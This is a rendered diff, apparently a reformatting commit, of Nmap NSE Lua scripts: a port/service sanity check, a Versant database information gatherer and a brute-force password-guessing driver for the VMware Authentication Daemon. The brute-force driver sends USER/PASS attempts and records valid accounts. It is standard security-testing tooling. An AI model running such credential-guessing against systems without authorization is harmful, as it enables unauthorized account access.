[636] = function(host, port) return ( port.service == "ldapssl" ) end,
|
[636] = function(host, port) return ( port.service == "ldapssl" ) end,
|
||||||
[3268] = function(host, port) return ( port.service == "ldap" ) end,
|
[3268] = function(host, port) return ( port.service == "ldap" ) end,
|
||||||
},
|
},
|
||||||
|
|
||||||
['udp'] = {
|
['udp'] = {
|
||||||
[5353] = function(host, port) return ( port.service == "mdns" ) end,
|
[5353] = function(host, port) return ( port.service == "mdns" ) end,
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
servicechecks = {
|
servicechecks = {
|
||||||
['http'] = function(host, port)
|
['http'] = function(host, port)
|
||||||
local service = port.service
|
local service = port.service
|
||||||
port.service = "unknown"
|
port.service = "unknown"
|
||||||
local status = shortport.http(host, port)
|
local status = shortport.http(host, port)
|
||||||
port.service = service
|
port.service = service
|
||||||
return status
|
return status
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- accept msrpc on any port for now, we might want to limit it to certain
|
-- accept msrpc on any port for now, we might want to limit it to certain
|
||||||
-- port ranges in the future.
|
-- port ranges in the future.
|
||||||
['msrpc'] = function(host, port) return true end,
|
['msrpc'] = function(host, port) return true end,
|
||||||
|
|
||||||
-- accept ncacn_http on any port for now, we might want to limit it to
|
-- accept ncacn_http on any port for now, we might want to limit it to
|
||||||
-- certain port ranges in the future.
|
-- certain port ranges in the future.
|
||||||
['ncacn_http'] = function(host, port) return true end,
|
['ncacn_http'] = function(host, port) return true end,
|
||||||
}
|
}
|
||||||
|
|
||||||
portaction = function(host, port)
|
portaction = function(host, port)
|
||||||
local ok = false
|
local ok = false
|
||||||
|
|
||||||
if ( port.version.name_confidence <= 3 ) then
|
if ( port.version.name_confidence <= 3 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if ( portchecks[port.protocol][port.number] ) then
|
if ( portchecks[port.protocol][port.number] ) then
|
||||||
ok = portchecks[port.protocol][port.number](host, port)
|
ok = portchecks[port.protocol][port.number](host, port)
|
||||||
end
|
end
|
||||||
if ( not(ok) and servicechecks[port.service] ) then
|
if ( not(ok) and servicechecks[port.service] ) then
|
||||||
ok = servicechecks[port.service](host, port)
|
ok = servicechecks[port.service](host, port)
|
||||||
end
|
end
|
||||||
if ( not(ok) and port.service and
|
if ( not(ok) and port.service and
|
||||||
( port.service == svc_table[port.protocol][port.number] or
|
( port.service == svc_table[port.protocol][port.number] or
|
||||||
"unknown" == svc_table[port.protocol][port.number] or
|
"unknown" == svc_table[port.protocol][port.number] or
|
||||||
not(svc_table[port.protocol][port.number]) ) ) then
|
not(svc_table[port.protocol][port.number]) ) ) then
|
||||||
ok = true
|
ok = true
|
||||||
end
|
end
|
||||||
if ( not(ok) ) then
|
if ( not(ok) ) then
|
||||||
return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number)
|
return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local Actions = {
|
local Actions = {
|
||||||
|
|||||||
@@ -48,68 +48,68 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local v = versant.Versant:new(host, port)
|
local v = versant.Versant:new(host, port)
|
||||||
local status = v:connect()
|
local status = v:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, newport = v:getObePort()
|
local status, newport = v:getObePort()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to retrieve OBE port")
|
return fail("Failed to retrieve OBE port")
|
||||||
end
|
end
|
||||||
v:close()
|
v:close()
|
||||||
|
|
||||||
v = versant.Versant.OBE:new(host, newport)
|
v = versant.Versant.OBE:new(host, newport)
|
||||||
status = v:connect()
|
status = v:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local result
|
local result
|
||||||
status, result = v:getVODInfo()
|
status, result = v:getVODInfo()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to get VOD information")
|
return fail("Failed to get VOD information")
|
||||||
end
|
end
|
||||||
v:close()
|
v:close()
|
||||||
|
|
||||||
local output = {}
|
local output = {}
|
||||||
|
|
||||||
table.insert(output, ("Hostname: %s"):format(result.hostname))
|
table.insert(output, ("Hostname: %s"):format(result.hostname))
|
||||||
table.insert(output, ("Root path: %s"):format(result.root_path))
|
table.insert(output, ("Root path: %s"):format(result.root_path))
|
||||||
table.insert(output, ("Database path: %s"):format(result.db_path))
|
table.insert(output, ("Database path: %s"):format(result.db_path))
|
||||||
table.insert(output, ("Library path: %s"):format(result.lib_path))
|
table.insert(output, ("Library path: %s"):format(result.lib_path))
|
||||||
table.insert(output, ("Version: %s"):format(result.version))
|
table.insert(output, ("Version: %s"):format(result.version))
|
||||||
|
|
||||||
port.version.product = "Versant Database"
|
port.version.product = "Versant Database"
|
||||||
port.version.name = "versant"
|
port.version.name = "versant"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
|
|
||||||
-- the script may fail after this part, but we want to report at least
|
-- the script may fail after this part, but we want to report at least
|
||||||
-- the above information if that's the case.
|
-- the above information if that's the case.
|
||||||
|
|
||||||
v = versant.Versant:new(host, port)
|
v = versant.Versant:new(host, port)
|
||||||
status = v:connect()
|
status = v:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, result = v:getNodeInfo()
|
status, result = v:getNodeInfo()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
v:close()
|
v:close()
|
||||||
|
|
||||||
local databases = { name = "Databases" }
|
local databases = { name = "Databases" }
|
||||||
|
|
||||||
for _, db in ipairs(result) do
|
for _, db in ipairs(result) do
|
||||||
local db_tbl = { name = db.name }
|
local db_tbl = { name = db.name }
|
||||||
table.insert(db_tbl, ("Created: %s"):format(db.created))
|
table.insert(db_tbl, ("Created: %s"):format(db.created))
|
||||||
table.insert(db_tbl, ("Owner: %s"):format(db.owner))
|
table.insert(db_tbl, ("Owner: %s"):format(db.owner))
|
||||||
table.insert(db_tbl, ("Version: %s"):format(db.version))
|
table.insert(db_tbl, ("Version: %s"):format(db.version))
|
||||||
table.insert(databases, db_tbl)
|
table.insert(databases, db_tbl)
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(output, databases)
|
table.insert(output, databases)
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -32,89 +32,89 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
return self.socket:connect(self.host, self.port)
|
return self.socket:connect(self.host, self.port)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function(self, username, password)
|
login = function(self, username, password)
|
||||||
local status, line = self.socket:receive_buf("\r\n", false)
|
local status, line = self.socket:receive_buf("\r\n", false)
|
||||||
if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then
|
if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then
|
||||||
self.socket:reconnect_ssl()
|
self.socket:reconnect_ssl()
|
||||||
end
|
end
|
||||||
|
|
||||||
status = self.socket:send( ("USER %s\r\n"):format(username) )
|
status = self.socket:send( ("USER %s\r\n"):format(username) )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send data to server" )
|
local err = brute.Error:new( "Failed to send data to server" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = self.socket:receive_buf("\r\n", false)
|
local status, response = self.socket:receive_buf("\r\n", false)
|
||||||
if ( not(status) or not(response:match("^331") ) ) then
|
if ( not(status) or not(response:match("^331") ) ) then
|
||||||
local err = brute.Error:new( "Received unexpected response from server" )
|
local err = brute.Error:new( "Received unexpected response from server" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status = self.socket:send( ("PASS %s\r\n"):format(password) )
|
status = self.socket:send( ("PASS %s\r\n"):format(password) )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send data to server" )
|
local err = brute.Error:new( "Failed to send data to server" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
status, response = self.socket:receive_buf("\r\n", false)
|
status, response = self.socket:receive_buf("\r\n", false)
|
||||||
|
|
||||||
if ( response:match("^230") ) then
|
if ( response:match("^230") ) then
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( "Login incorrect" )
|
return false, brute.Error:new( "Login incorrect" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.socket:close()
|
return self.socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
local function checkAuthd(host, port)
|
local function checkAuthd(host, port)
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local status = socket:connect(host, port)
|
local status = socket:connect(host, port)
|
||||||
|
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return false, "Failed to connect to server"
|
return false, "Failed to connect to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, line = socket:receive_buf("\r\n", false)
|
local status, line = socket:receive_buf("\r\n", false)
|
||||||
socket:close()
|
socket:close()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive response from server"
|
return false, "Failed to receive response from server"
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not( line:match("^220 VMware Authentication Daemon") ) ) then
|
if ( not( line:match("^220 VMware Authentication Daemon") ) ) then
|
||||||
return false, "Failed to detect VMWare Authentication Daemon"
|
return false, "Failed to detect VMWare Authentication Daemon"
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, err = checkAuthd(host, port)
|
local status, err = checkAuthd(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(err)
|
return fail(err)
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user